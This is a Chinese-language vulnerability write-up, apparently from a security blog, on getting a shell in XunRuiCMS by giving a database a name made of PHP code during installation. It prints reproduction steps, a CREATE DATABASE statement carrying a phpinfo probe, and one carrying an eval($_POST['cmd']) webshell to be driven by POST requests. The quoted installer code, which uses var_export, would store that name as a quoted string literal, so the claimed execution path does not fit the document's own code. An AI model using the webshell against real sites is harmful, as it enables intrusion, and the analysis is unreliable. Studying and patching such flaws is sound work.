从控制本地数据库名称到getshell挖掘分析
字数 911 2025-08-29 08:30:24
迅睿CMS从控制本地数据库名称到Getshell漏洞分析与利用
漏洞概述
迅睿CMS(XunRuiCMS)在安装过程中存在一个安全漏洞,攻击者可以通过控制本地数据库名称,将恶意代码写入配置文件,最终实现远程代码执行(RCE)。
环境搭建
-
下载源码:
- 官方下载地址:https://www.xunruicms.com/down/
-
搭建环境:
- 使用phpStudy等集成环境搭建
- PHP版本需兼容迅睿CMS要求
漏洞复现步骤
准备工作
- 在本地MySQL中创建一个名称包含恶意代码的数据库:
CREATE DATABASE `<?php phpinfo();?>`;
安装过程利用
-
访问迅睿CMS安装界面
-
在数据库配置步骤中:
- 数据库名称填写恶意代码:
<?php phpinfo();?> - 填写正确的数据库用户名、密码等信息
- 数据库名称填写恶意代码:
-
继续安装流程:
- 系统会将数据库名称写入配置文件
- 最终生成包含恶意代码的配置文件
验证漏洞
- 检查生成的配置文件(通常是
/config/database.php) - 访问该文件或相关页面,可以看到
phpinfo()被执行
进阶利用
-
创建包含webshell代码的数据库:
CREATE DATABASE `<?php eval($_POST['cmd']);?>`; -
重复安装过程
-
通过POST请求向配置文件发送命令执行
漏洞分析
关键代码分析
漏洞位于安装程序Install.php中:
-
获取用户输入:
$data = $this->input->post('data'); -
数据库连接验证:
// 验证数据库连接 if (!$this->db->connect($data['db_hostname'], $data['db_username'], $data['db_password'], $data['db_name'], $data['db_prefix'], $data['db_port'])) { exit('数据库连接失败,请检查配置'); } -
写入配置文件:
// 将配置写入database.php $file = WRITEPATH.'config/database.php'; $config = array( 'hostname' => $data['db_hostname'], 'username' => $data['db_username'], 'password' => $data['db_password'], 'database' => $data['db_name'], // 恶意代码从这里注入 'dbprefix' => $data['db_prefix'], 'port' => $data['db_port'], ); file_put_contents($file, "<?php\nreturn ".var_export($config, true).";\n");
漏洞原理
- 安装程序未对数据库名称进行过滤
- 直接将用户控制的数据库名称写入PHP配置文件
- 当配置文件被包含时,其中的PHP代码会被执行
利用条件
- 攻击者能够控制本地数据库名称
- 能够访问迅睿CMS的安装界面
- 安装程序有权限写入配置文件
防御措施
-
临时解决方案:
- 安装完成后立即删除安装脚本
- 检查并清理配置文件中的可疑代码
-
长期解决方案:
- 对数据库名称等输入进行严格过滤
- 配置文件应使用INI格式而非PHP数组
- 对写入配置文件的内容进行HTML实体编码
-
官方补丁:
- 关注官方更新,及时升级到修复版本
总结
该漏洞利用迅睿CMS安装过程中对数据库名称过滤不严的问题,通过精心构造的数据库名称实现代码注入。由于安装程序通常具有较高权限,这种漏洞往往能导致严重后果。开发者在编写安装程序时应特别注意用户输入的过滤和验证。